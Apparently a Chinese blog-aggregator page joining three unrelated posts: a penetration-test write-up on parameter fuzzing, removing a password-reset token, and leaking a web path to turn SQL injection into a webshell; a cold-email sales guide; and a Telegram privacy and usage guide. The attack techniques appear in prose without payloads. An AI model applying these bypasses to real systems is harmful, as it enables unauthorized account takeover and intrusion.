收到一个项目邀请，全篇就一个后台管理系统。针对这个系统做了一些常规的测试之后除了发现一些 没用的弱口令外(无法登录系统的)没有了其他收获。
分析这个后台管理系统的URL:
https://xxx/?m=index，该URL访问解析过来 的是主⻚信息。尝试对请求参数
m的值进行Fuzz，7K+的字典进行Fuzz，一段时间之后收获降临：
获得了一个有用的请求:
?m=view，该请求可以直接未授权获取信息：
案例-Delete
[逻辑漏洞]Token限制绕过
在测业务的密码重置功能，发送密码重置请求，邮箱收到一个重置密码的链接：
http://xxx/forget/pwd?userid=123&token=xxxx这时候尝试删除token请求参数，再访问并成功重置了用户的密码：
[SQLi辅助]参数删除报错
挖掘到一处注入，发现是root（DBA）权限：
但这时候，找不到网站绝对路径，寻找网站用户交互的请求
http://xxx/xxxsearch?name=123，删除name=123，网站报错获取绝对路径：
成功通过SQLi漏洞进行GetWebshell。
总结
核心其实还是在于漏洞挖掘时的心细，一件事情理解透彻之后万物皆可Fuzz。
平时注意字典的更新、整理和对实际情况的分析，再进行关联整合。
- 博客 庭说 2019-11-11 00:00:00
如何写一封能收到回复的开发信？
方法
内容
这封邮件对客户有什么帮助？这是一个值得深思的问题。
- Background research 的时间要充足，才能打动高质量的潜在客户。
- 放弃模板，例如 To whom it may concern（敬启者）；对邮件进行私人订制。
- 第一封开发信，不是以卖东西为目的。真诚些，摒弃虚头巴脑的话术，用专业知识展示对客户的价值并建立联系。
切入点
- 从哪里得到客户的信息
- 我是谁，来自哪个公司
- 公司是做什么产品的（针对客人用得上的产品）
- 产品参数
- 产品的优势：专利、证书或者畅销的市场
- 合作过的大客户：供货能力和质量以及信誉上没问题
- 设计开发能力：能够满足他们的需求
- 诉求处理速度：表明合作有效率
- 交货时间以及付款方式
- 新客户的优惠以及能够给予哪些支持
行文
拼写
出现错别字，是不能容忍的，让收件人看到你的细心。
- 注意专有名词的写法，发送之前检查一遍错别字和语法。
- 使用 英文标点符号，并在后面空一格（括号首尾空一格）。
简单
客户「扫描」邮件的时间只有几秒钟，用通俗的英文（plain English）帮助客户聚焦你要传达的内容。不要「秀英文」，Keep it short & simple. 因为收件人的母语不一定是英语。
We supply tomatoes for MyLife Inc. with high quality and competitive price. Hope to cooperate with you! （句子简单，但内容空泛）
还有，一封邮件一个主题内容。说不完的话，在末尾留个尾巴，不让下一封邮件无话可说，或没话找话说。
排版
- 不用衬线体（sans-serif），多用非衬线体，例如 Arial。
- 不要花花绿绿的颜色，只留黑色（加粗），灰色（正文）和品牌色。
- 用 CAPITAL（大写）或加粗显示需要强调的信息，例如你的产品。
LARGEST BUYER of Smartphone - 使用列表（Ordered List or Unordered List）陈述 3 到 6 个 USP（Unique Selling Point）
- TWO SWAROVSKI LICENCES.
- Jewelleries made with Swarovski crystals, sterling silver 925, zirconia and pearl.
- More than 120 new arrivals monthly, as well as 15,000 available designs.
- NO nickle, lead and cadmium (REACH No. 1907/2006)
语气
根据客户的语言风格调整自己的内容，客户喜欢寒暄就跟着问候，喜欢单刀直入就要言简意赅。
语气委婉
Could you please help to give me a reply today?
多用被动语态
被动语态：既定的事实和一些已经达成的决定。突出特点，表现专业性。
✔️ Samples will be sent to you tomorrow.主动语态：释放情感，展示温度，比如说写延期邮件的时候，用主动语态才更能体现出你的歉意和真诚。
❌ We'll send you the samples tomorrow.其他
用公司的企业邮箱或国外邮箱（Outlook、Gmail……）。
发邮件的时间选在客户当地的上班时间（借助定时发送功能）。
第一次联系客人的时候尽量使用纯文本格式，不要出现图片、链接和附件（防 Spam）。
工作邮件少用
I、my、me，多用we、us。
主题
假设
TingTrade Inc.我的公司，卖番茄（Tomato）的。MyLife Inc.我的（My）老客户，美国第二大番茄零售商。NewLife Inc.潜在的新（New）客户。
通用模板
NewLife Inc. / MyLife Inc. Vendor - Tomato / TingTrade IncNewLife Inc.提及潜在客户的公司名，表示这不是群发邮件。MyLife Inc. Vendor - Tomato表明我们是美国第二大番茄零售商的供应商。TingTrade Inc表明发件人是谁。
随着内容更换
去掉多余的 Re。
- Re: School Bag Offer - 20170314
- Re: Sale Note for School Bag + 合同号
- Re: School Bag - ready for shipment.
其他 Subject
到客户网站上找素材
假设网站标语 / 核心价值 / 总裁致辞是Secure Your Daily Work。Subject 可以是: Secure Your Daily Work, can we involve?以客户利益为目标，越具体越好
NewLife Inc. - Economy safety products get revenue 20% up - TingTrade Inc.以主打产品为标题，一目了然
Purchasing - Featured products / Safetyvests - TingTrade Inc.
Hot-Selling Jewelry from VIP Customer of SWAROVSKI以市场信息为标题
TingTrade Inc.: Nonwoven material rise in April直接表明意图
How could we be your possible vendor - TingTrade Inc.
正文
Salutation
- Hi Tim,
- Dear Tim,
Greetings
- Good day.
Nice day. - Greetings.
Warm Greetings. - How is going?
Hope you are doing well.
Hope you are good.
Hope all fine with you.
I trust all is well.
Trust you are well. - It is nice to write to you.
- Thanks for your reply.
- Kindly bear with us.
- Sorry to miss your email.
- Got your email with thanks.
- I will revert as soon as I reach my office.
- Currently I'm at the fair. Will get back to you by tomorrow.
Body
This is Tim from
***China.
除非公司是行内巨头，不然你的名字比你公司名字更重要。We're glad to hear that you're on the market for...
Glad to hear that you're on the market for outdoor gear. We specialize in this field for several years.Here are details:
Below you will find more Info and details that we need from you.
To quote better, would you please give me details:
Could you please send me the quotation with the details as below:
We have a few questions and will appreciate your help:
Remarks
- Price will be adjusted when exchange rate fluctuates more than 3% (based on USD:RMB = 1:6.85).
- Validity for this offer is one week. （慎用，万一客户度假回家，报价可能已经过期了。）
Attachment
记得修改附件的名字，与正文所述一致。
Attached is
***.I’ve attached
***with…Please
have/takea look at the attached***.The
***you asked for is attached.Please refer to the attached
***for more details.The attached
***includes…Let me know if you have any questions about the attachment.
Relevant information is in the attached file.
When you review the attached
***, you will see…- Please check the attached catalog and let me know what products meet your interest.
Ending
使用号召性用语（Call To Action）结尾，客户阅读到最后一句话时，明确知道自己要干什么。
- REPLY to get catalog and free samples!
- FREE SAMPLES will be sent for your evaluation!
- More photos and information can be updated upon receipt of your reply.
- Please copy and paste the questions and answers back to me.
- Thank you for choosing us. I would be glad to answer any questions.
- Any inquiry or requirements will get our prompt attention.
- Please further advise.
Please let us know if you would like to take the matter further. - I value your feedback, so let me know what you think.
Let me know if you have any questions or suggestions. - Waiting for your details.
Looking forward to hearing from you
Looking forward to your response
Hope to get your updates soon.
Please keep us updated.
Kindly give us your ideas, please.
Will appreciate your quick response.
Any feedback will be much appreciated.
Always happy to hear from you.
注意：
- 少用 Please："Please..." 是祈使句，带着命令的口气。我有求于你，你这么做就能够让我高兴。
Closing
- It was a pleasure doing business with you.
- All the best,
- Best Regards,
Kind regards,
Regard with thanks, - Thank you for taking the time,
Thank you for your valuable time.
Thank you in advance for your time,
Thanks in advance and have a nice day, - Many thanks,
Many thanks and look forward to hearing from you, - Thanks and best regards,
- I really appreciate your support!
- Sincerely,
Yours sincerely, - Cheers,
Signature
Tim- email: tim@tingtalk.me- WhatsApp: +86 156 1024 1024- ……模板
尽可能少用模板，以下仅作为展示。
汪晟
Hi John,
My name is Mike, sales manager at ABC Company based in Hangzhou, China.We specialize in manufacturing XXX.I‘ve been following your company for some time now. And would like to discuss the possibility of xxx.
Don't want to bore you with too much detail here. Relevant information is in the attached file.
I know you are busy, so please allow me to get straight to the point.
I want to pitch you our product with XXXXX. After researching your product line for like 40 minutes, I believe we can definitely make you more money.
Here is a sneak peek of my plan (see, I don't want to waste your time.)Let's keep the ball rolling if you are interested.
Thank you for your time.Hi John,
My name is Mike, sales manager at ABC Company.
We are going to hit hard in the US market this year with our newly released product line xxx. I've done my research. You are exactly the type of local partner we are looking to work with.
Will you have 6 minutes for me next week for a quick call?
Talk soon.Dear Tim,
Please allow me to introduce myself. My Name is
***and I manage the sales department here at***company.Thank you for taking the time to review our products. Are there any in particular that you are interested in?
Attached is our latest brochure and price list. I would recommend you take a look at
***and***, both are very unique and in high demand.Any feedback you can give would be greatly appreciated.
Let me know if you require samples.
Many thanks,
Jadon
SubjectHot-Selling Jewelry from VIP Customer of SWAROVSKIDear xxx Jewelry,
Glad to know you’re co-branding partner with Swarovski, and have a large quantity of stock!
As the LARGEST BUYER of Swarovski crystals (Dongguan 2014), we produce fashion jewelries since 1999, with competitive price.
- TWO SWAROVSKI LICENCES.
- Jewelleries made with Swarovski crystals, sterling silver 925, zirconia and pearl.
- More than 120 new arrivals monthly, as well as 15,000 available designs.
- NO nickle, lead and cadmium (REACH No. 1907/2006)
REPLY to get E-catalog and FOC samples!
Thank you,
MasterDear Christian,
Thanks for your reply.
This is Master from xxx Jewellery (LARGEST BUYER of Swarovski Crystals 2014 Dongguan).
We have full confidence in supporting you to develop your new customers. We proudly make fashion jewellery since 1999 and 100,00+ existing designs.
To quote better, would you please give me details:
- Target market
- Retail price range
- Prefer plating color
Waiting for your details.
Best regards,
MasterHi Tim,
I know you are busy, so I’ll just cut my bullshit and get straight to the point.
Find happy, find boloparty here, exporting creative and fantastic
***product to make you different in 30 mins.Call me, let’s talk details.
Jadon
Hi Tim,
I know you are busy, so please allow me get straight to the point.
I want to pitch you with our product
***. After researching your product line for like 40 minutes, I believe we can definitely make you more money.Here is a sneak peek of my plan (see, I don’t want to waste your time.)
Let's keep the ball rolling if you are interested.
Thank you for your time.
Jadon
索菲
以下表达来自 索菲外贸笔记的博客，内容经过删改。
Hi Jadon,
Tim from
***China. Hope this email finds you well.Consolidating your purchases from China has never been easier, we have completed numerous projects in Europe and you may even know some of the brands we've worked with.
There are a wide range of variety of
***can be offered for your budget. What will the sound of your brand be? Find me on WhatsApp:+86 *** **** ****and let's discuss more.Best regards,
Tim
Hi Jadon,
Tim again. Last time I mentioned we can offer the
***.Trust you're very busy, but I've been wanting to have a quick chat about bringing
***presentation to you.If 10 minutes of your time isn't too much to ask, then maybe we could jump on a quick call to discuss this?
Best regards,
Tim
Hi Jadon,
Based upon your
***you're a big fan of***, inspiring me to reach out to you again.You know we have been also authorized to produce some
***for***.Please see attached the photos for your reference.
Best regards,
Tim
Hi Jadon,
Good day.
I'd like to share you with the inspection report for 20 kinds of
***shipped recently.Thank you for taking the time to read my email. Really hope we cross paths in future.
Best regards,
Tim
Hi Jadon,
Thanks for your feedback.
Many of our current customers have used different suppliers in the past. Despite how much I really want your business, I'm sincerely happy for you & your company and how your vendors have performed.
When struggling to overcome delivery, prices etc challenges, please come to us for a quote or solution. You can always depend on our quality service.
I will keep updating you our new arrival of
***if it will not bother you.Best regards,
Tim
I'm happy that you have a good relationship with your current vendor already. Does they bring you 100% the results you are expecting or are there still areas where value can be added?
At this point, I'm not asking you to rip anything out. We'd just like the opportunity to show you how we're different and how we've provided additional value to our clients. I can present you some case we've done for our other clients.
Have they ever let you down? Are you looking for a more reliable supplier you can have confidence in. If possible, we can schedule a follow up call
It sounds like things are pretty good. Is there anything that you think could or should be better?
Thanks for your information. We'd like to be your backup if you don't mind. Any inquiry or requirements, you can get the prompt attention from us.
毅冰
BD Email 2.0
Subject: Re: Trader Joe's - promotional ceramic mugs - TingTrading
Hi Tim,
Glad to hear that you are in the market for ceramic mugs.
This is Jadon from TingTrading in China. We mainly export these items to the US market and have full experience in OEM for heavy branded customers like Pepsi, Costa, and Heineken.
Free samples with a catalog could be provided on request.
Thanks and best regards,
JadonBD Email 3.0
Brief Introduction
- Subject: Re: Trader Joe's - promotional ceramic mugs - TingTrading
- Subject: Catalog for ceramic mugs
- Subject: Offer sheet in detail - TingTrading
- Subject: Testing reports for FDA approval & Prop 65
- Subject: Re: Photos for showroom & hot-selling items
- Subject: Packaging info to reduce the unit cost
- Subject: Factory audit report by Intertek
- Subject: Updated quote recap for a new selection of Fall 2019
BD Email 4.0：Blade mail
使用 Blade Mail 解决以下痛点：
- 太多无关的废话
- 主题毫无亮点，或过于推销化
- 过于正式的行文
- 一眼看过去，无法抓住核心内容
- 通篇错误单词、错误句型、错误时态、错误语法
- 内容又臭又长
- 过多的缩写
- 缺乏定制化的群发邮件
- 没有具体的收件人
- 细节把控不够，邮件过于粗糙
开场白
- 把精心准备的信息放在附件里，然后吸引客户打开附件。
- 第一封邮件加附件可能被 Spam，可以故意忘记。客户也许会反问：「附件在哪呢？」，这个时候客户就上钩了。
Subject: Offer recap (报价综述)Hi Tim,
Offer sheet attached.
Jadon
Subject: Sample photosHi Tim,
FYI.
Jadon
FYI = For Your Information
Subject: Project updatedHi Tim,
Please check the attachment.
Thanks,
JadonGroup Mail
Get in Touch with Brief Introduction
- 简短。
- 展现相关性，第一时间吸引客户眼球。
May we take 1 minute from your busy schedule to talk about the way of business growth in
***?Regarding your company portfolio, we could see big potential with
***, as below:- More profitable option in the
***segment to fulfill different market demands along with***'s current vendor. （用产品做例证,并阐述自身优势） - The one-stop solution of
***under the same brand image and relevant portfolio/customer base for wider market coverage as well as better sales promotion
Would you please check and let us know if any interest to know more details about our company, products, and prices?
Core Competence and Value Delivery
- 研究目标市场。
- 研究目标客户产品线/品牌线/市场和需求痛点。
- 根据客户情况针对性展示你能提供的优势和价值，不必过多，以免过于分散难以聚焦。
- 提供具体化信息佐证你的描述。
We studied your portfolio carefully and here our proposal to help
***grow sales together.***Current Brands:***- Main Items in
***'s sales Channel:***
Pain-points:
- The market trend is more tending to a high level with the latest generation.
- There is a certain lack of competition in the gaming segment for
***, it's difficult to build a reputation and full market range without a competitive solution in the high end
What Benefits to Add with
***?- More margin gap for
***in the mainstream segment, items from***to***. - More priority and advantage in high end, e.g.
***series to help***enhance market competitiveness in high end - Equal product quality in a similar rank to
***, as attached test report.
Would you mind checking the possibility and discuss more potential together?
Customized Business Proposal According to Customer’s Profile
- 行业竞争格局
- 市场特性
- 客户目前供应商/品牌状况及可优化空间
- 目标市场定位
- 品牌定位及与客户公司/市场匹配度
- 与现有供应商/市场竞争者对比及能带给客户的直观利益
As can see,
***covers***market widely with***for the tier 1/2 market. There are chances for***to compete tier 2/3 market and reach the wider customer base for***.***Positioning with***- Targeting in tier 2 market and cost-effective segment along with your current brands.
- More profitable options as a supplement to fulfill middle low budget groups and increase sales revenue as well as enhance market competitiveness.
More Value Add to
******'s package of***will be quite cost-saving and quality-reliable for***assembly line.- One-stop distribution of relevant products under the same brand image and similar customer group as a bundle package
Company Profile Sharing
在引起客户兴趣后，适当提供专业的 PPT 供客户更全面了解公司情况和发展。
Product Highlights
- 产品特性
- 产品参数对比
- 产品测评
- 产品测试报告
Customized Product Solution
分析客户网站列出的产品/型号，选出相对有优势的做推荐/对比分析，及适当抛出有吸引力的价格做诱饵。
列举具体型号，做直观对比分析：
- 采购价格成本对比分析
- 经销商价格对比分析
- 零售价格对比分析
Case Study/Project Experience
相关市场的大客户背书/项目经验/案例分析/业绩回报分享，以及我们怎么做到的，进一步增强客户信心。
Brand Positioning & Market Share Reference
植入关于公司品牌信息与价值：
- 品牌定位与匹配度
- 品牌历史与发展
- 市场占有率，尤其突出相关市场的合作情况
- 利用一切能利用的资源- 尤其线上可直接展示与分享的资源
- Trade Reference 如有必要
Marketing Construction/ Development Plan
- 销售策略制定
- 营销计划制定
- Call to action – 需要客户协助的行动
Market Analysis
价值信息传递
- Market Trend
- Market Feature
- Market Potential & Analysis
- Market Segments & Main Players
- Market Share of Brands
- Target Customer & Sales Channel
- Market Pain-points
- Company Strength and Solution to Market
- Hot Selling Items
来源：Ms奥特曼
未完待续……
- 博客 Randy's Blog 2019-11-09 08:00:001617
- 博客 庭说 2019-11-09 00:00:00
Telegram 是迄今为止最棒的即时聊天软件，在这个自由新世界，不必自我审查（Freedom of speech）。
💡 全文有两万七千多字，善用右侧的目录栏和查找功能（
Ctrl+F），助你快速定位想要看到的内容。你也可以移步到 Telegram 内阅读此文的 精简版。🧱 TG 在中国大陆必须 翻墙 后才能使用。不过，学会科学上网，难道不是当代数字公民的必备技能吗？
📁 tingtalk.me 在 2020-04-04 被墙了，如需在墙内传阅：
- 前往 GitHub 阅读
- 下载本文的 PDF 或 可编辑的 Markdown 源文档
✈️ 电报介绍
2013 年 5 月 20 日，斯诺登向《卫报》媒体透露棱镜计划（PRISM）：
我愿意牺牲掉这一切（工作、收入和女朋友）（把真相告诉世人），因为美国政府利用他们正在秘密建造的这一个庞大监视机器摧毁隐私、互联网自由和世界各地人们的基本自由的行为让他良心不安。by Edward Snowden
许多人第一次意识到 Ta 们的数字通信遭到了监视（The year Telegram was born was marked by the Snowden Revelations, when many people realized for the first time their digital communications were being watched.）。
2013 年 8 月 14 日，杜洛夫兄弟（Pavel Durov 和 Nikolai Durov）正式发布了开源（Open Source）的 Telegram（特指客户端）。这个充满理想主义的软件不接受外部投资（不需要向任何股东负责），也不会通过广告盈利，且挣钱永远不会是 Telegram 的终极目标（Making profits will never be an end-goal for Telegram），所以 Telegram 至今没有向第三方披露过一个字节的用户私人数据。Telegram 只会默默地践行一个理念：这个星球上的每个人都享有自由的权利（Everyone on the planet has a right to be free.）。This is the Telegram way：
We believe that humans are inherently intelligent and benevolent beings that deserve to be trusted; trusted with freedom to share their thoughts, freedom to communicate privately, freedom to create tools. This philosophy defines everything we do. 我们相信人类天生就是聪明和仁慈的，值得信任的；坚信人类可以自由地分享想法，自由地私下交流，自由地创造工具。 这种哲学定义了我们所做的一切。by Pavel Durov
截止 2022 年 6 月 19 日，Telegram 已有 7 亿月活跃用户。
👍 近乎完美
- 高度加密：使用独有的网络传输协议 MTProto，无惧被黑客攻击。
- 没有审查：不用担心被封号，除非执法调查单位能证明用户是恐怖分子。
- 没有广告：一个纯碎极致的大众化即时通讯软件（Instant Messaging App）。
- 不占内存：聊天记录保存在云端（Cloud-Based），任何设备，无缝同步，随取随用。
- 超大群聊：封顶 20 万人，配合各种管理工具（例如限制发言间隔），让大型社群的交流也能井井有条。
- 表情贴纸：采用高清的 矢量 格式，并且支持自制表情包（Custom Sticker Sets）。
👎 瑕不掩瑜
欢迎访问 Feature Suggestion Platform，向 Telegram 提交缺陷报告和功能建议（Bugs and Suggestions），一起帮扶 Telegram 做大做强。
🐼 中文搜索体验差
毕竟是国外的软件，所以有一些水土不服也是可以理解的。以下方法可以助你更快地找到聊天记录和频道信息。
方法一：手动分词
Telegram 的中文搜索是以「词组」为单位的，以标点符号或空格作为词的间隔。
辜鸿铭说过：真正的自由，并不意味着可以随心所欲，而是可以自由地做正确的事情。
在搜索框输入：
真正的自由并不意味着可以随心所欲而是可以自由地做正确的事情
都可搜到这条历史信息，因为标点符号充当了分词符。但是这些词未免太长了吧？！也记不住呀。不过别忘了 Telegram 分词规则，我们可以手动添加多余的标点符号（例如井号
＃）或空格来分词：#辜鸿铭 说过：真正的 #自由，并不意味着可以随心所欲，而是可以自由地做正确的事情。点击以下词组，或者在搜索框输入：
#辜鸿铭#自由
都可以找到这句话。建议频道主在发布内容的时候，用
#打上相应的标签，方便订阅者找到想要的信息。方法二：导出文件
嫌手动分词太麻烦了？那就在电脑上导出 HTML 或 JSON 格式的聊天记录，想怎么搜就怎么搜。
不过，已经有人向 Telegram 提交了 改善中文搜索的提案，所以请为这个 Suggestion 投票和鼓气。拜托了。
关联阅读
🙃 硬币的另一面
在加密通信「庇护」下的土壤，滋生了臭名昭著的网络性犯罪案件：N 号房事件。所幸的是，2020 年 11 月 26 日，主犯赵主彬一审判处监禁 40 年。
以及存在大量的 NSFW 内容、币圈广告和灰色产业链。科技能否向善，在于我们能否约束自己内心的 邪念。
📱 只能用手机号码注册
- 国外：手机号不用实名制，相对安全。
- 国内：通过 Google Voice 注册电报，并且可以绕开私聊限制。
而且，添加陌生人到通讯录（Add to contacts），记得每次都要取消勾选
Share my phone number with ***。Telegram 在这个方面上没有记住用户习惯，不应该呀，我去反馈反馈。另外，如果你的手机号码，被某人保存在 Ta 的手机通讯录，Ta 也开放了通讯录给 Telegram。当你用这个手机号码注册 Telegram 后，Ta 就会第一时间知道你也加入 Telegram 了。所以对隐私有要求，请使用无需实名的虚拟号码或者单独小号来注册。
🗓️ 逃离微信
我与 Telegram 的结缘，始于 2016 年春。那时我刚学会了科学上网，并下载了 Telegram 这个 Instant Messaging app。虽然我在电报上找不到朋友和我聊天，但我并没有卸载 Telegram，因为相比输入法和微信，Telegram 提供了丰富的 Emoji 供我选择。如此一来，我在 Android 手机上也能使用最新的 Emoji 点缀朋友圈。
近年来，天下苦微信久矣。
- WeChat 掌门人可能是一个无马（码）不欢的 骑兵：每次登录微信电脑版都要扫码时，我的心中都会万马奔腾。
- 只能发送小于 100 MB 的文件；一次只能发送 9 张图片，而且每次发送都要勾选原图（Telegram 会记住这个用户习惯），下载原图文件名会改变。
- 占用巨大的存储空间，备份与同步的体验特别差，也不能换成欧盟号码导出用户数据。
注册微信的时候，用户会默认同意 腾讯微信软件许可及服务协议 ，其中在 7.1.2 提到一个霸王条款：「微信帐号的所有权归腾讯公司所有，用户完成申请注册手续后，仅获得微信帐号的使用权，且该使用权仅属于初始申请注册人。……」。
用户免费使用微信（无所有权），微信收集用户的私人数据，贩卖给广告商，这无可厚非。但当用户想要取回 Ta 所创造的内容（数字资产）时，例如导出微信个人数据（朋友圈数据和收藏功能数据等），只好借助欧盟的 GDPR（通用数据保护条例）行使数据可携权。于是我花了 5.26 USD（含税）买了一个比利时的手机号码，微信却猖言道：「由于当地法规限制，WeChat 暂不支援中国大陆用户将绑定的手机号码更换为欧盟手机号码。」
请问是哪条「当地法规」？这不是「法制」，而是「Fuck 制」：强奸一个个没有反抗能力的用户！
2020-04-22原谅我「口吐芬芳」，不懂中国特色。另外，随着言论审查力度的加大，任何「风吹草动」都要「斩草除根」：
- Cyberspace Administration of China（网信办）会因为我转发一则关于 中华人民共和国宪法修正案 的 Twitter 评论到 24 人的微信同学群，几小时后，请我到最近的派出所「喝茶」，那是我第一次坐警车。
- 微信上无法发送某些链接（例如纽约时报的文章），也不显示发送失败，让你以为发出去了，其实只对你可见。
- 微信会秋后算账，删除我之前写的一篇介绍 搜索技巧 的公众号文章，接着 博客 在中国大陆地区被墙，公众号 被永久封号。虽然公众号写了 4 年只有五百多个关注者，但每一个订阅者都来之不易。就这样，我跟读者们都失联了。
经过一系列发生我身上的 屏蔽事件 后，让我意识到中文互联网已经完全沦陷了，于是逃难到 Telegram。经过一段时间的使用后，我彻底成为了 Telegram 的 自来水，见人就夸。然而身边的亲朋好友却不为所动，不愿跟我一起 数字移民 到这个可以安心说话的地方，甘愿做「温室里的花朵」和「笼的传人」，享受表面上的岁月静好。我不会责怪 Ta 们，如果你看过《肖申克的救赎》，就能理解这种「放弃抗争」的心态。
刚入狱的时候，你痛恨周围的高墙，慢慢地，你习惯了生活在其中，最终你发现，自己不得不依靠它而生存。by The Shawshank Redemption
既然说不动认识我的人，但世界那么大，人口那么多，网络世界上一定有一群人，Ta 们和我一样，反感「温室园丁」不透明的做法，不愿做一只数字农场里的电子绵羊，相信「自由价更高」。
我要当一个 踹车轮 的人，为我心中的理想世界投票。因此我熬了几个月，把 Telegram 官网的 FAQ 和 Blog 全部看完了（从 2013 年创立电报至今），结合 Google 搜索引擎旁征博引，整理出这篇
可能是中文互联网内容最翔实，排版最精美的《电报指南》，目的就是尽可能地为读者呈现 Telegram 的强大、私密以及友好的用户体验。
在 Durov's Chat 用蹩脚的中式英语给教程做推广，受到 Pavel 的肯定。
2016 年国庆，我花了一周时间看完了「即刻 app」的所有主题（圈子），写了一篇三千多字文章：《即刻 App - 不再错过你感兴趣的资讯》(图文版 | 文字版）。
即刻已经没有复活的可能了（即刻 App 居然在 2020 年 6 月 10 日回来了，但是缺失了话题追踪功能），Telegram 顺势成了新的资讯中心。人生苦短，逃离微信（Escape from the WeChat）。stay-away-from-wechat 项目收集微信的反人性设计、无理审查行为、侵犯用户隐私、监控聊天记录、试图控制人民生活相关信息，期望用户认识到微信的弊病，倡导用户用脚投票、拒绝使用微信 👎️。欢迎提交 Issues 和 Pull requests 🤖️。
欢迎读者们转移到没有监控和审查的地方 ，一起在这片乐土上过上
没羞没臊体面的数字生活。🌟 注册使用
接下来，就正式进入主题，教读者朋友们电报怎么使用。
👇 下载登录
请进入 Telegram Apps 的官方下载页面，选择对应的平台，下载，安装，注册。
自由开放的 Telegram 在各平台都有数十种客户端，各有哪些优缺点，又该如何选择呢？请查阅 Telegram 客户端版本比较，但我不推荐使用第三方电报客户端，安全没有保证。
如果你有注册或登录问题
先从 常见登录问题 中寻找方法，无果，联系 Telegram：
- 途径一：请使用此 表格 与 Telegram 联系
- 途径二：在 Twitter 上联系 Telegram Login Help
不知何种原因遭到封禁，请写邮件给 recover@telegram.org
- 用英文写 Email
- 用 国际电话号码格式 书写被封的手机号码（中国的国家代码为 +86，美国的 +1）
真人值班，大概 24 小内就会被解封。但违反 Telegram 服务条款（Terms of Service），例如乱发广告，是不会被解封的。
参考资料：
- 记一次成功的 Telegram 账号解封 by @askahh
- Telegram 官方封禁的账号会受到什么处罚 by @TGgeek
如何在电脑上使用 Telegram for Desktop
打开客户端
点击右上角的
SETTINGS（设置）>Connection type（连接类型）>Use custom proxy（使用自定义代理）>ADD PROXY（添加代理），以 Shadowsocks(R) 为例：- SOCKS
- Hostname:
127.0.0.1 - Port:
1080（不同的翻墙客户端，端口略有不同）
使用 Clash 翻墙的用户，可跳过这一步，选择
Use system proxy settings（使用系统代理设置）。🐼 汉化界面
既然已经出来混了（突破网络墙），首选使用英文版的 Telegram（突破语言墙），好像加起来也没几个单词。要是一点英文底子都没有：
- 点此安装官方简体中文语言包
- 选择
CHANGE（更改） - 即可把界面语言替换为简体中文
截至 2020 年 11 月 01 日，Telegram for Android 翻译已完成 95% 了，但不妨碍日常使用。
🔒 账号设置
- 支持视频头像（Profile Videos）。
- 支持登录多个账号。手机端长按另一个账号，不切换账号，也能快速预览消息。Multiple accounts: preview chat list. You can press and hold on another connected account in Settings for a sneak peek of its chats list.
👤 设置用户名
你可以在
Setting（设置）里面填写一个Username（用户名）。设置后，别人能够在不知道你的电话号码的情况下，通过搜索用户名找到你。- 用户名可以随时更改或删除（用户名为空）。
- 用户名不区分大小写（TingTalk = tingtalk），但 Telegram 会记住大小写偏好。
侵权
- 如果一个骗子假装是你，联系 @notoscam。
- 如何举报假冒的频道或群组：点击右上角的
...>Report>Fake Account - 针对品牌方，用户名被占用怎么办？把你在 Facebook、Twitter 或 Instagram 的用户名（两个平台以上）发给 @username_bot。
- 如果你看到表情包（sticker sets）、频道（channels）或机器人（bots）侵犯了你的版权，请提交投诉到 dmca@telegram.org
联系人
- 添加和删除联系人（Contacts）都是单向操作，双方的通讯录都是独立的（你中有我，我中可能没有你），也没有通知。
- （单向）添加联系人之后，加入共同小组后，通讯录好友会排在小组名单前面。如果你想加入一些不想让别人知道的群组，还是用小号吧。
- 点击左侧菜单栏 >
Contacts（联系人）>Find People Nearby（寻找附近的人）。你也可以创建一个基于本地的群聊。
🔓 解除私聊限制
自由的土壤吸引了比特币、社工库、NSFW 等灰色产业到电报野蛮生长，因为这些国产老鼠屎对电报的滥用，导致使用中国大陆的手机号码（+86）注册 Telegram 后，私聊 Ta 人时，可能会提示
Sorry, you can only send messages to mutual contacts at the momet.（对不起，你现在只能发送私信给双向联系人。），这表明此账号被判定为 Spam（垃圾信息）账号了。如何解除私聊限制：在 Telegram 搜索 @SpamBot，点击
START，然后依次点击底部出现的菜单或回复以下话术（仅供参考）：- But I can't message non-contacts.
- No, I'll never do any of this.
- I can't chat with non-contacts.
- Accident.
大概半小时之后（有些人要十几天），即可解除禁言。
另外，若用户在 24 小时内访问超过 200 个群组或频道的链接（点击打开就算访问，不需要加入），就会被打入冷宫 24 小时。禁闭期间，无法通过链接访问新的群组或频道（点击链接一直转圈而无法访问）。
⛑️ 隐私和安全
依次点击
Setting（设置）>Privacy and Security（隐私和安全）🙈 隐藏手机号码
Phone number（手机号码）>Who can see my phone number（谁可以看到我的手机号码：Nobody不允许任何人）对隐私有要求，或者彻底解除 +86 开头的手机号码的私聊限制，可以把手机号码换绑到非中国区的手机号码，例如 Google Voice：
- 注册 Google 账号。
- 在 Google 或淘宝上搜索关键词
Google Voice或GV，购买别人注册下来的号码。 - 转移到自己的 Google 账号上。
以及
- 🧨 再次强调：添加陌生人到通讯录（Add to contacts），记得每次都要取消勾选
Share my phone number with ***。 - 开启 SIM 卡的密码，纵使别人捡到你的手机（卡），没有 PIN 码就不能使用你的手机号码，也就不能收到登录验证码，以此来登录 Telegram。
🎭 匿名转发
Forwarded messages: Nobody（引用转发来源：不允许任何人）启用此设置后，转发你的消息将无法指向（链接）回你的帐户，只会在
From ***（来自***）字段中显示一个无法点击的昵称（非用户名）。而昵称不是唯一的，所以通过这种方式，将没有证据证明某条消息是你发送的（无法溯源）。📍 隐藏通话 IP 地址
Calls>Peer-to-Peer：NobodyTelegram 为了提高语音通话的质量，默认采用端对端连接（Peer-to-Peer）。由于流量没有经过 Telegram 服务器中转，所以会暴露用户的 IP 地址。但是禁用端对端通话后，通话质量会略有下降。
另外，配合使用 Tor（The Onion Router、洋葱路由器）可以隐藏用户真实 IP 地址、避免网络监控及流量分析。
🔐 本机锁定码
Passcode Lock相当于给 Telegram 加上应用锁。这样一来，临时借用你设备的人也看不到你的小秘密。设置完密码锁之后，可以在下方的自动锁（
Auto-lock）设定时长，一旦超过时长未操作，那么 Telegram 将自动上锁。或者在聊天列表页面上主动点击锁头图标，Telegram 就会立即锁定应用，新消息通知将不包括文本或发件人姓名。再次进入应用时，要求输入锁定码。在 Android 客户端上，还可以关闭「在任务切换页面显示内容」（
Show App Content in Task Switcher），同时在 Telegram 内也无法截屏。密码锁只在当前设备可用，不会同步到云端或其他设备，所以在不同的设备上可以设置不同的密码锁。如果忘记，只能重装 App，而且重新登录之后，需要重新设置新的密码锁，私密聊天（Secret Chat）也不会同步回来。
✌️ 两步验证
